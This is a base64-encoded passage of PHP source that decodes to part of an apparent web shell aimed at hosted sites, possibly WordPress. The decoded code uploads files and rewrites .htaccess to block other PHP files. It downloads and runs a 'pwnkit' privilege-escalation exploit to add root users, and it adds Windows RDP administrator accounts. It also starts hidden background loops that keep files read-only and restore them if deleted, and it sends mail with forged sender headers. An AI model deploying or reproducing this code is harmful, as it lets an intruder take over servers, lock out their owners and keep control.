SAgLiAnLWhhbmRsZXInKSAuICIiLCAkaGFuZGxlcik7CiAgICBpZiAoJGhuZGxlcnMpIHsKICAgICAgICBjbWQoJ3BocCAnIC4gJFRtcE5hbWVzIC4gJy8uc2Vzc2lvbnMvLicgLiBiYXNlNjRfZW5jb2RlKCRmdW5nc2lbMF0oKSAuIHJlbW92ZV9kb3QoJGN1ckZpbGUpICAuICctaGFuZGxlcicpIC4gJyA+IC9kZXYvbnVsbCAyPi9kZXYvbnVsbCAmJyk7CiAgICAgICAgc3VjY2VzcygpOwogICAgfSBlbHNlIHsKICAgICAgICBmYWlsZWQoKTsKICAgIH0KfQppZiAoaXNzZXQoJF9QT1NUWydnZWNrby11cC1zdWJtaXQnXSkpIHsKICAgICRuYW1hRmlsZW55YSA9ICRfRklMRVNbJ2dlY2tvLXVwbG9hZCddWyduYW1lJ107CiAgICAkdG1wTmFtZSA9ICRfRklMRVNbJ2dlY2tvLXVwbG9hZCddWyd0bXBfbmFtZSddOwogICAgaWYgKCRmdW5nc2lbMjldKCR0bXBOYW1lLCAkZnVuZ3NpWzBdKCkgLiAiLyIgLiAkbmFtYUZpbGVueWEpKSB7CiAgICAgICAgc3VjY2VzcygpOwogICAgfSBlbHNlIHsKICAgICAgICBmYWlsZWQoKTsKICAgIH0KfQoKaWYgKCRfR0VUWydsb2dvdXQnXSA9PSBUcnVlKSB7CiAgICBzZXNzaW9uX2Rlc3Ryb3koKTsKICAgIHNlc3Npb25fdW5zZXQoKTsKICAgIHN1Y2Nlc3MoKTsKfQoKaWYgKGlzc2V0KCRfR0VUWydkZXN0cm95J10pKSB7CiAgICAkRE9DX1JPT1QgPSAkX1NFUlZFUlsiXHg0NFx4NGZceDQzXHg1NVx4NGRceDQ1XHg0ZVx4NTRceDVmXHg1Mlx4NGZceDRmXHg1NCJdOwogICAgJEN1cnJlbnRGaWxlID0gdHJpbShiYXNlbmFtZSgkX1NFUlZFUlsiXHg1M1x4NDNceDUyXHg0OVx4NTBceDU0XHg1Zlx4NDZceDQ5XHg0Y1x4NDVceDRlXHg0MVx4NGRceDQ1Il0pKTsKICAgIGlmICgkZnVuZ3NpWzRdKCRET0NfUk9PVCkpIHsKICAgICAgICAkaHRhY2Nlc3MgPSAnCjxGaWxlc01hdGNoICJcLihwaHB8cGgqfFBoKnxQSCp8cEgqKSQiPgogICAgRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICJeKCcgLiAkQ3VycmVudEZpbGUgLiAnfGluZGV4LnBocHx3cC1jb25maWcucGhwfHdwLWluY2x1ZGVzLnBocCkkIj4KICAgIEFsbG93IGZyb20gYWxsCjwvRmlsZXNNYXRjaD4KPEZpbGVzTWF0Y2ggIlwuKGpwZ3xwbmd8Z2lmfHBkZnxqcGVnKSQiPgogICAgQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPic7CiAgICAgICAgJHB1dF9odHQgPSAkZnVuZ3NpWzI4XSgkRE9DX1JPT1QgLiAiLy5odGFjY2VzcyIsICRodGFjY2Vzcyk7CiAgICAgICAgaWYgKCRwdXRfaHR0KSB7CiAgICAgICAgICAgIHN1Y2Nlc3MoKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBmYWlsZWQoKTsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIGZhaWxlZCgpOwogICAgfQp9CgoKaWYgKGlzc2V0KCRfUE9TVFsnc2F2ZS1lZGl0b3InXSkpIHsKICAgICRzYXZlID0gJGZ1bmdzaVsyOF0oJGZ1bmdzaVswXSgpIC4gIi8iIC4gdW54KCRfR0VUWydmJ10pLCAkX1BPU1RbJ2NvZGUtZWRpdG9yJ10pOwogICAgaWYgKCRzYXZlKSB7CiAgICAgICAgc3VjY2VzcygpOwogICAgfSBlbHNlIHsKICAgICAgICBmYWlsZWQoKTsKICAgIH0KfQoKaWYgKGlzc2V0KCRfR0VUWydhZG1pbmVyJ10pKSB7CiAgICAkVVJMID0gIlx4NjhceDc0XHg3NFx4NzBceDczXHgzYVx4MmZceDJmXHg2N1x4NjlceDc0XHg2OFx4NzVceDYyXHgyZVx4NjNceDZmXHg2ZFx4MmZceDc2XHg3Mlx4NjFceDZlXHg2MVx4MmZceDYxXHg2NFx4NmRceDY5XHg2ZVx4NjVceDcyXHgyZlx4NzJceDY1XHg2Y1x4NjVceDYxXHg3M1x4NjVceDczXHgyZlx4NjRceDZmXHg3N1x4NmVceDZjXHg2Zlx4NjFceDY0XHgyZlx4NzZceDM0XHgyZVx4MzhceDJlXHgzMVx4MmZceDYxXHg2NFx4NmRceDY5XHg2ZVx4NjVceDcyXHgyZFx4MzRceDJlXHgzOFx4MmVceDMxXHgyZVx4NzBceDY4XHg3MCI7CiAgICBpZiAoISRmdW5nc2lbM10oJ2FkbWluZXIucGhwJykpIHsKICAgICAgICBjbWQoJ3dnZXQgJyAuICRVUkwgLiAnIC1PIGFkbWluZXIucGhwIC0tcXVpZXQnKTsKICAgICAgICBlY2hvICc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO3VybD0/ZD0nIC4gaHgoJGZ1bmdzaVswXSgpKSAuICciPic7CiAgICB9Cn0KCgppZiAoJF9HRVRbJ3Rlcm1pbmFsJ10gPT0gInJvb3QiKSB7CiAgICBpZiAoISRmdW5nc2lbM10oJ3B3bmtpdCcpICYmICRmdW5nc2lbNF0oJGZ1bmdzaVswXSgpKSkgewogICAgICAgIGNtZCgnd2dldCBodHRwczovL2dpdGh1Yi5jb20vTWFkRXhwbG9pdHMvUHJpdmVsZWdlLWVzY2FsYXRpb24vcmF3L21haW4vcHdua2l0IC1PIHB3bmtpdCcpOwogICAgICAgIGNtZCgnY2htb2QgK3ggcHdua2l0Jyk7CiAgICAgICAgZWNobyBjbWQoJy4vcHdua2l0IGlkID4gLm1hZC1yb290Jyk7CiAgICAgICAgZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9P2Q9JyAuIGh4KCRmdW5nc2lbMF0oKSkgLiAnJnRlcm1pbmFsPXJvb3QiPic7CiAgICB9Cn0KCmlmIChpc3NldCgkX1BPU1RbJ3N1Ym1pdC1hY3Rpb24nXSkpIHsKICAgICRpdGVtcyA9ICRfUE9TVFsnY2hlY2snXTsKICAgIGlmICgkX1BPU1RbJ2dlY2tvLXNlbGVjdCddID09ICJkZWxldGUiKSB7CiAgICAgICAgZm9yZWFjaCAoJGl0ZW1zIGFzICRpdCkgewogICAgICAgICAgICAkcmVwbCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGZ1bmdzaVswXSgpKTsgLy8gVW50dWsgV2luZG93cyBQYXRoCiAgICAgICAgICAgICRmZCA9ICRyZXBsIC4gIi8iIC4gJGl0OwogICAgICAgICAgICBpZiAoaXNfZGlyKCRmZCkgfHwgaXNfZmlsZSgkZmQpKSB7CiAgICAgICAgICAgICAgICAkcm1kaXIgPSB1bmxpbmtEaXIoJGZkKTsKICAgICAgICAgICAgICAgICRybWZpbGUgPSAkZnVuZ3NpWzI0XSgkZmQpOwogICAgICAgICAgICAgICAgaWYgKCRybWRpciB8fCAkcm1maWxlKSB7CiAgICAgICAgICAgICAgICAgICAgc3VjY2VzcygpOwogICAgICAgICAgICAgICAgfSBlbHNlIGlmICgkcm1kaXIgJiYgJHJtZmlsZSkgewogICAgICAgICAgICAgICAgICAgIHN1Y2Nlc3MoKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgZmFpbGVkKCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0KCmlmIChpc3NldCgkX1BPU1RbJ3N1Ym1pdCddKSkgewogICAgaWYgKCRfUE9TVFsnY3JlYXRlX2ZvbGRlciddID09IHRydWUpIHsKICAgICAgICAkTmFtYUZvbGRlciA9ICRmdW5nc2lbMTJdKCRfUE9TVFsnY3JlYXRlX2ZvbGRlciddKTsKICAgICAgICBpZiAoJE5hbWFGb2xkZXIpIHsKICAgICAgICAgICAgc3VjY2VzcygpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGZhaWxlZCgpOwogICAgICAgIH0KICAgIH0gZWxzZSBpZiAoJF9QT1NUWydjcmVhdGVfZmlsZSddID09IHRydWUpIHsKICAgICAgICAkbmFtYUZpbGUgPSAkZnVuZ3NpWzEzXSgkX1BPU1RbJ2NyZWF0ZV9maWxlJ10pOwogICAgICAgIGlmICgkbmFtYUZpbGUpIHsKICAgICAgICAgICAgc3VjY2VzcygpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGZhaWxlZCgpOwogICAgICAgIH0KICAgIH0gZWxzZSBpZiAoJF9QT1NUWydyZW5hbWVGaWxlJ10gPT0gdHJ1ZSkgewogICAgICAgICRyZW5hbWVGaWxlID0gJGZ1bmdzaVsxNV0odW54KCRfR0VUWydyZSddKSwgJF9QT1NUWydyZW5hbWVGaWxlJ10pOwogICAgICAgIGlmICgkcmVuYW1lRmlsZSkgewogICAgICAgICAgICBzdWNjZXNzKCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZmFpbGVkKCk7CiAgICAgICAgfQogICAgfSBlbHNlIGlmICgkX1BPU1RbJ2NoRmlsZSddKSB7CiAgICAgICAgJGNoRmlsZXMgPSAkZnVuZ3NpWzMwXSh1bngoJF9HRVRbJ2NoJ10pLCAkX1BPU1RbJ2NoRmlsZSddKTsKICAgICAgICBpZiAoJGNoRmlsZXMpIHsKICAgICAgICAgICAgc3VjY2VzcygpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGZhaWxlZCgpOwogICAgICAgIH0KICAgIH0gZWxzZSBpZiAoaXNzZXQoJF9QT1NUWydhZGQtdXNlcm5hbWUnXSkgJiYgaXNzZXQoJF9QT1NUWydhZGQtcGFzc3dvcmQnXSkpIHsKICAgICAgICBpZiAoISRmdW5nc2lbM10oJ3B3bmtpdCcpKSB7CiAgICAgICAgICAgIGNtZCgnd2dldCBodHRwczovL2dpdGh1Yi5jb20vTWFkRXhwbG9pdHMvUHJpdmVsZWdlLWVzY2FsYXRpb24vcmF3L21haW4vcHdua2l0IC1PIHB3bmtpdCcpOwogICAgICAgICAgICBjbWQoJ2NobW9kICt4IHB3bmtpdCcpOwogICAgICAgICAgICBjbWQoJy4vcHdua2l0ICJpZCIgPiAubWFkLXJvb3QnKTsKICAgICAgICAgICAgZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9P2Q9JyAuIGh4KCRmdW5nc2lbMF0oKSkgLiAnJnJvb3Rpbmc9VHJ1ZSI+JzsKICAgICAgICB9IGVsc2UgaWYgKCRmdW5nc2lbM10oJy5tYWQtcm9vdCcpKSB7CiAgICAgICAgICAgICRyZXNwb25zZSA9ICRmdW5nc2lbMTFdKCcubWFkLXJvb3QnKTsKICAgICAgICAgICAgJHJfdGV4dCA9IGV4cGxvZGUoIiAiLCAkcmVzcG9uc2UpOwogICAgICAgICAgICBpZiAoJHJfdGV4dFswXSA9PSAidWlkPTAocm9vdCkiKSB7CiAgICAgICAgICAgICAgICAkdXNlcm5hbWUgPSAkX1BPU1RbJ2FkZC11c2VybmFtZSddOwogICAgICAgICAgICAgICAgJHBhc3N3b3JkID0gJF9QT1NUWydhZGQtcGFzc3dvcmQnXTsKICAgICAgICAgICAgICAgIGNtZCgnLi9wd25raXQgInVzZXJhZGQgJyAuICR1c2VybmFtZSAuICcgOyBlY2hvIC1lICInIC4gJHBhc3N3b3JkIC4gJ1xuJyAuICRwYXNzd29yZCAuICciIHwgcGFzc3dkICcgLiAkdXNlcm5hbWUgLiAnIicpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9P2Q9JyAuIGh4KCRmdW5nc2lbMF0oKSkgLiAnJmFkZHVzZXI9ZmFpbGVkIj4nOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfSBlbHNlIGlmICgkX1BPU1RbJ2xvY2tmaWxlJ10gPT0gdHJ1ZSkgewogICAgICAgICRmbGVzTmFtZSA9ICRfUE9TVFsnbG9ja2ZpbGUnXTsKICAgICAgICAkVG1wTmFtZXMgPSAkZnVuZ3NpWzMxXSgpOwogICAgICAgIGlmIChmaWxlX2V4aXN0cygkVG1wTmFtZXMgLiAnLy5zZXNzaW9ucy8uJyAuIGJhc2U2NF9lbmNvZGUoJGZ1bmdzaVswXSgpIC4gcmVtb3ZlX2RvdCgkZmxlc05hbWUpIC4gJy1oYW5kbGVyJykpICYmIGZpbGVfZXhpc3RzKCRUbXBOYW1lcyAuICcvLnNlc3Npb25zLy4nIC4gcmVtb3ZlX2RvdCgkZmxlc05hbWUpIC4gJy10ZXh0JykpIHsKICAgICAgICAgICAgY21kKCdybSAtcmYgJyAuICRUbXBOYW1lcyAuICcvLnNlc3Npb25zLy4nIC4gYmFzZTY0X2VuY29kZSgkZnVuZ3NpWzBdKCkgLiByZW1vdmVfZG90KCRmbGVzTmFtZSkgLiAnLXRleHQtZmlsZScpKTsKICAgICAgICAgICAgY21kKCdybSAtcmYgJyAuICRUbXBOYW1lcyAuICcvLnNlc3Npb25zLy4nIC4gYmFzZTY0X2VuY29kZSgkZnVuZ3NpWzBdKCkgLiByZW1vdmVfZG90KCRmbGVzTmFtZSkgLiAnLWhhbmRsZXInKSk7CiAgICAgICAgfQogICAgICAgIG1rZGlyKCRUbXBOYW1lcyAuICIvLnNlc3Npb25zIik7CiAgICAgICAgY21kKCJjcCAkZmxlc05hbWUgIiAuICRUbXBOYW1lcyAuICIvLnNlc3Npb25zLy4iIC4gYmFzZTY0X2VuY29kZSgkZnVuZ3NpWzBdKCkgLiByZW1vdmVfZG90KCRmbGVzTmFtZSkgLiAnLXRleHQtZmlsZScpKTsKICAgICAgICBjaG1vZCgkZmxlc05hbWUsIDA0NDQpOwogICAgICAgICRoYW5kbGVyID0gJwo8P3BocApAaW5pX3NldCgibWF4X2V4ZWN1dGlvbl90aW1lIiwgMCk7CndoaWxlIChUcnVlKXsKICAgIGlmICghZmlsZV9leGlzdHMoIicgLiAkZnVuZ3NpWzBdKCkgLiAnIikpewogICAgICAgIG1rZGlyKCInIC4gJGZ1bmdzaVswXSgpIC4gJyIpOwogICAgfQogICAgaWYgKCFmaWxlX2V4aXN0cygiJyAuICRmdW5nc2lbMF0oKSAuICcvJyAuICRmbGVzTmFtZSAuICciKSl7CiAgICAgICAgJHRleHQgPSBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCInIC4gJFRtcE5hbWVzIC4gJy8uc2Vzc2lvbnMvLicgLiBiYXNlNjRfZW5jb2RlKCRmdW5nc2lbMF0oKSAuIHJlbW92ZV9kb3QoJGZsZXNOYW1lKSAuICctdGV4dC1maWxlJykgLiAnIikpOwogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCInIC4gJGZ1bmdzaVswXSgpIC4gJy8nIC4gJGZsZXNOYW1lIC4gJyIsIGJhc2U2NF9kZWNvZGUoJHRleHQpKTsKICAgIH0KICAgIGlmIChnZWNrb19wZXJtKCInIC4gJGZ1bmdzaVswXSgpIC4gJy8nIC4gJGZsZXNOYW1lIC4gJyIpICE9IDA0NDQpewogICAgICAgIGNobW9kKCInIC4gJGZ1bmdzaVswXSgpIC4gJy8nIC4gJGZsZXNOYW1lIC4gJyIsIDA0NDQpOwogICAgfSAKICAgIGlmIChnZWNrb19wZXJtKCInIC4gJGZ1bmdzaVswXSgpIC4gJyIpICE9IDA1NTUpewogICAgICAgIGNobW9kKCInIC4gJGZ1bmdzaVswXSgpIC4gJyIsIDA1NTUpOwogICAgfQp9CgpmdW5jdGlvbiBnZWNrb19wZXJtKCRmbGVuYW1lKXsKICAgIHJldHVybiBzdWJzdHIoc3ByaW50ZigiJW8iLCBmaWxlcGVybXMoJGZsZW5hbWUpKSwgLTQpOwp9Cic7CiAgICAgICAgJGhuZGxlcnMgPSAkZnVuZ3NpWzI4XSgkVG1wTmFtZXMgLiAiLy5zZXNzaW9ucy8uIiAuIGJhc2U2NF9lbmNvZGUoJGZ1bmdzaVswXSgpIC4gcmVtb3ZlX2RvdCgkZmxlc05hbWUpIC4gJy1oYW5kbGVyJykgLiAiIiwgJGhhbmRsZXIpOwogICAgICAgIGlmICgkaG5kbGVycykgewogICAgICAgICAgICBjbWQoJ3BocCAnIC4gJFRtcE5hbWVzIC4gJy8uc2Vzc2lvbnMvLicgLiBiYXNlNjRfZW5jb2RlKCRmdW5nc2lbMF0oKSAuIHJlbW92ZV9kb3QoJGZsZXNOYW1lKSAuICctaGFuZGxlcicpIC4gJyA+IC9kZXYvbnVsbCAyPi9kZXYvbnVsbCAmJyk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZmFpbGVkKCk7CiAgICAgICAgfQogICAgfSBlbHNlIGlmICgkX1BPU1RbJ2xvY2tmaWxlJ10gPT0gdHJ1ZSkgewogICAgICAgICRmbGVzTmFtZSA9ICRfUE9TVFsnbG9ja2ZpbGUnXTsKICAgICAgICAkVG1wTmFtZXMgPSAkZnVuZ3NpWzMxXSgpOwogICAgICAgIGlmIChmaWxlX2V4aXN0cygkVG1wTmFtZXMgLiAnLy5zZXNzaW9ucy8uJyAuIGJhc2U2NF9lbmNvZGUoJGZ1bmdzaVswXSgpIC4gcmVtb3ZlX2RvdCgkZmxlc05hbWUpIC4gJy1oYW5kbGVyJykpICYmIGZpbGVfZXhpc3RzKCRUbXBOYW1lcyAuICcvLnNlc3Npb25zLy4nIC4gcmVtb3ZlX2RvdCgkZmxlc05hbWUpIC4gJy10ZXh0JykpIHsKICAgICAgICAgICAgY21kKCdybSAtcmYgJyAuICRUbXBOYW1lcyAuICcvLnNlc3Npb25zLy4nIC4gYmFzZTY0X2VuY29kZSgkZnVuZ3NpWzBdKCkgLiByZW1vdmVfZG90KCRmbGVzTmFtZSkgLiAnLXRleHQtZmlsZScpKTsKICAgICAgICAgICAgY21kKCdybSAtcmYgJyAuICRUbXBOYW1lcyAuICcvLnNlc3Npb25zLy4nIC4gYmFzZTY0X2VuY29kZSgkZnVuZ3NpWzBdKCkgLiByZW1vdmVfZG90KCRmbGVzTmFtZSkgLiAnLWhhbmRsZXInKSk7CiAgICAgICAgfQogICAgICAgIG1rZGlyKCRUbXBOYW1lcyAuICIvLnNlc3Npb25zIik7CiAgICAgICAgY21kKCJjcCAkZmxlc05hbWUgIiAuICRUbXBOYW1lcyAuICIvLnNlc3Npb25zLy4iIC4gYmFzZTY0X2VuY29kZSgkZnVuZ3NpWzBdKCkgLiByZW1vdmVfZG90KCRmbGVzTmFtZSkgLiAnLXRleHQtZmlsZScpKTsKICAgICAgICBjaG1vZCgkZmxlc05hbWUsIDA0NDQpOwogICAgICAgICRoYW5kbGVyID0gJwo8P3BocApAaW5pX3NldCgibWF4X2V4ZWN1dGlvbl90aW1lIiwgMCk7CndoaWxlIChUcnVlKXsKICAgIGlmICghZmlsZV9leGlzdHMoIicgLiAkZnVuZ3NpWzBdKCkgLiAnIikpewogICAgICAgIG1rZGlyKCInIC4gJGZ1bmdzaVswXSgpIC4gJyIpOwogICAgfQogICAgaWYgKCFmaWxlX2V4aXN0cygiJyAuICRmdW5nc2lbMF0oKSAuICcvJyAuICRmbGVzTmFtZSAuICciKSl7CiAgICAgICAgJHRleHQgPSBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCInIC4gJFRtcE5hbWVzIC4gJy8uc2Vzc2lvbnMvLicgLiBiYXNlNjRfZW5jb2RlKCRmdW5nc2lbMF0oKSAuIHJlbW92ZV9kb3QoJGZsZXNOYW1lKSAuICctdGV4dC1maWxlJykgLiAnIikpOwogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCInIC4gJGZ1bmdzaVswXSgpIC4gJy8nIC4gJGZsZXNOYW1lIC4gJyIsIGJhc2U2NF9kZWNvZGUoJHRleHQpKTsKICAgIH0KICAgIGlmIChnZWNrb19wZXJtKCInIC4gJGZ1bmdzaVswXSgpIC4gJy8nIC4gJGZsZXNOYW1lIC4gJyIpICE9IDA0NDQpewogICAgICAgIGNobW9kKCInIC4gJGZ1bmdzaVswXSgpIC4gJy8nIC4gJGZsZXNOYW1lIC4gJyIsIDA0NDQpOwogICAgfQp9CgpmdW5jdGlvbiBnZWNrb19wZXJtKCRmbGVuYW1lKXsKICAgIHJldHVybiBzdWJzdHIoc3ByaW50ZigiJW8iLCBmaWxlcGVybXMoJGZsZW5hbWUpKSwgLTQpOwp9Cic7CiAgICAgICAgJGhuZGxlcnMgPSAkZnVuZ3NpWzI4XSgkVG1wTmFtZXMgLiAiLy5zZXNzaW9ucy8uIiAuIGJhc2U2NF9lbmNvZGUoJGZ1bmdzaVswXSgpIC4gcmVtb3ZlX2RvdCgkZmxlc05hbWUpIC4gJy1oYW5kbGVyJykgLiAiIiwgJGhhbmRsZXIpOwogICAgICAgIGlmICgkaG5kbGVycykgewogICAgICAgICAgICBjbWQoJ3BocCAnIC4gJFRtcE5hbWVzIC4gJy8uc2Vzc2lvbnMvLicgLiBiYXNlNjRfZW5jb2RlKCRmdW5nc2lbMF0oKSAuIHJlbW92ZV9kb3QoJGZsZXNOYW1lKSAuICctaGFuZGxlcicpIC4gJyA+IC9kZXYvbnVsbCAyPi9kZXYvbnVsbCAmJyk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZmFpbGVkKCk7CiAgICAgICAgfQogICAgfSBlbHNlIGlmICgkX1BPU1RbJ2xvY2std2luZG93cyddID09IFRydWUpIHsKICAgICAgICAkTmFtZVdpbiA9ICRfUE9TVFsnbG9jay13aW5kb3dzJ107CiAgICAgICAgJHRtcFBhdGggPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRmdW5nc2lbMzFdKCkpOwogICAgICAgIGlmIChzdHJzdHIoJGZ1bmdzaVs4XSgpLCAiTlQiKSkgewogICAgICAgICAgICAvLyBNZW5naGFwdXMgZmlsZQogICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHRtcFBhdGggLiAnLy5zZXNzaW9ucy8uJyAuIHJlbW92ZV9zbGFzaCh3aW5wd2QoKSAuICROYW1lV2luKSAuICd0ZXh0JykgJiYgZmlsZV9leGlzdHMoJHRtcFBhdGggLiAiLy5zZXNzaW9ucy8uIiAuIHJlbW92ZV9zbGFzaCh3aW5wd2QoKSAuICROYW1lV2luKSAuICJoYW5kbGVyIikpIHsKICAgICAgICAgICAgICAgIHVubGluaygkdG1wUGF0aCAuICcvLnNlc3Npb25zLy4nIC4gcmVtb3ZlX3NsYXNoKHdpbnB3ZCgpIC4gJE5hbWVXaW4pIC4gJ3RleHQnKTsKICAgICAgICAgICAgICAgIHVubGluaygkdG1wUGF0aCAuICIvLnNlc3Npb25zLy4iIC4gcmVtb3ZlX3NsYXNoKHdpbnB3ZCgpIC4gJE5hbWVXaW4pIC4gImhhbmRsZXIiKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gTWVtYnVhdCBGaWxlCiAgICAgICAgICAgIG1rZGlyKCR0bXBQYXRoIC4gIi8uc2Vzc2lvbnMiKTsKICAgICAgICAgICAgY29weSgkTmFtZVdpbiwgJHRtcFBhdGggLiAiLy5zZXNzaW9ucy8uIiAuIHJlbW92ZV9zbGFzaCh3aW5wd2QoKSAgLiAkTmFtZVdpbikgLiAidGV4dCIpOwoKICAgICAgICAgICAgJHB1dGNvbnRlbnQgPSAkZnVuZ3NpWzI4XSgkdG1wUGF0aCAuICIvLnNlc3Npb25zLy4iIC4gcmVtb3ZlX3NsYXNoKHdpbnB3ZCgpIC4gJE5hbWVXaW4pIC4gImhhbmRsZXIiLCAnCjw/cGhwCgpjaG1vZCgiJyAuIHdpbnB3ZCgpIC4gJy8nIC4gJE5hbWVXaW4gLiAnIiwgMDQ0NCk7CndoaWxlIChUcnVlKQp7CiAgICBpZiAoIWZpbGVfZXhpc3RzKCInIC4gd2lucHdkKCkgLiAnIikpewogICAgICAgIG1rZGlyKCInIC4gd2lucHdkKCkgLiAnIik7CiAgICB9CiAgICBpZiAoIWZpbGVfZXhpc3RzKCInIC4gd2lucHdkKCkgLiAnLycgLiAkTmFtZVdpbiAuICciKSl7CiAgICAgICAgJHRleHQgPSBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCInIC4gJHRtcFBhdGggLiAnLy5zZXNzaW9ucy8uJyAuIHJlbW92ZV9zbGFzaCh3aW5wd2QoKSAuICROYW1lV2luKSAuICd0ZXh0IikpOwogICAgICAgICR0YXJnZXQgPSAiJyAuIHdpbnB3ZCgpIC4gJy8nIC4gJE5hbWVXaW4gLiAnIjsKICAgICAgICBmaWxlX3B1dF9jb250ZW50cygkdGFyZ2V0LCBiYXNlNjRfZGVjb2RlKCR0ZXh0KSk7CiAgICB9CiAgICBpZiAoZ2Vja29fcGVybSgiJyAuIHdpbnB3ZCgpIC4gJy8nIC4gJE5hbWVXaW4gLiAnIikgIT0gMDQ0NCl7CiAgICAgICAgY2htb2QoIicgLiB3aW5wd2QoKSAuICcvJyAuICROYW1lV2luIC4gJyIsIDA0NDQpOwogICAgfQogICAgaWYgKGdlY2tvX3Blcm0oIicgLiB3aW5wd2QoKSAuICciKSAhPSAwNDQ0KXsKICAgICAgICBjaG1vZCgiJyAuIHdpbnB3ZCgpIC4gJyIsIDA0NDQpOwogICAgfQogICAgCn0KCmZ1bmN0aW9uIGdlY2tvX3Blcm0oJGZsZW5hbWUpCnsKICAgIHJldHVybiBzdWJzdHIoc3ByaW50ZigiJW8iLCBmaWxlcGVybXMoJGZsZW5hbWUpKSwgLTQpOwp9CiAgICAnKTsKICAgICAgICAgICAgaWYgKCRwdXRjb250ZW50KSB7CiAgICAgICAgICAgICAgICBpZiAoY2hlY2tfeGFtcHAoKSA9PSBUcnVlKSB7CiAgICAgICAgICAgICAgICAgICAgJHBocFggPSBnZXRjKCkgLiAiOi94YW1wcC9waHAvcGhwLmV4ZSI7CiAgICAgICAgICAgICAgICAgICAgc2Vzc2lvbl91bnNldCgpOwogICAgICAgICAgICAgICAgICAgIHNlc3Npb25fZGVzdHJveSgpOwogICAgICAgICAgICAgICAgICAgIGVjaG8gY21kKCRwaHBYIC4gJyAiJyAuICR0bXBQYXRoIC4gIi8uc2Vzc2lvbnMvLiIgLiByZW1vdmVfc2xhc2god2lucHdkKCkgLiAkTmFtZVdpbikgLiAnaGFuZGxlciIgJicpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBzZXNzaW9uX3Vuc2V0KCk7CiAgICAgICAgICAgICAgICAgICAgc2Vzc2lvbl9kZXN0cm95KCk7CiAgICAgICAgICAgICAgICAgICAgZWNobyBjbWQoJ3BocCAiJyAuICR0bXBQYXRoIC4gIi8uc2Vzc2lvbnMvLiIgLiByZW1vdmVfc2xhc2god2lucHdkKCkgLiAkTmFtZVdpbikgLiAnaGFuZGxlciIgJicpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZmFpbGVkKCk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBmYWlsZWQoKTsKICAgICAgICB9CiAgICB9IGVsc2UgaWYgKCRfUE9TVFsnYWRkLXJkcCddID09IFRydWUpIHsKICAgICAgICAkdXNlclJEUCA9ICRfUE9TVFsnYWRkLXJkcCddOwogICAgICAgICRwYXNzUkRQID0gJF9QT1NUWydhZGQtcmRwLXBhc3MnXTsKICAgICAgICBpZiAoc3RyaXN0cihQSFBfT1MsICJXSU4iKSkgewogICAgICAgICAgICAkcHJvY1JEUCA9IGNtZCgibmV0IHVzZXIgIiAuICR1c2VyUkRQIC4gIiAiIC4gJHBhc3NSRFAgLiAiIC9hZGQiKTsKICAgICAgICAgICAgaWYgKCRwcm9jUkRQKSB7CiAgICAgICAgICAgICAgICBjbWQoIm5ldCBsb2NhbGdyb3VwIGFkbWluaXN0cmF0b3JzICIgLiAkdXNlclJEUCAuICIgL2FkZCIpOwogICAgICAgICAgICAgICAgc3VjY2VzcygpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZmFpbGVkKCk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBmYWlsZWQoKTsKICAgICAgICB9CiAgICB9IGVsc2UgaWYgKCRfUE9TVFsnbWFpbC1mcm9tLXNtdHAnXSA9PSBUcnVlKSB7CiAgICAgICAgJGVtYWlsRnJvbSA9ICRfUE9TVFsnbWFpbC1mcm9tLXNtdHAnXTsKICAgICAgICAkZW1haWxUbyA9ICRfUE9TVFsnbWFpbC10by1zbXRwJ107CiAgICAgICAgJGVtYWlsU3ViamVjdCA9ICRfUE9TVFsnbWFpbHRvLXN1YmplY3QnXTsKICAgICAgICAkbWVzc2FnZU1haWwgPSAkX1BPU1RbJ21lc3NhZ2Utc210cCddOwogICAgICAgICRoZWFkZXJzTWFpbCA9ICdGcm9tOiAnIC4gJGVtYWlsRnJvbSAuICcnIC4gIlxyXG4iIC4KICAgICAgICAgICAgJ1JlcGx5LVRvOiAnIC4gJGVtYWlsRnJvbSAuICcnIC4gIlxyXG4iIC4KICAgICAgICAgICAgJ1gtTWFpbGVyOiBQSFAvJyAuIHBocHZlcnNpb24oKTsKICAgICAgICAkcHJvY01haWxTbVRwID0gbWFpbCgkZW1haWxUbywg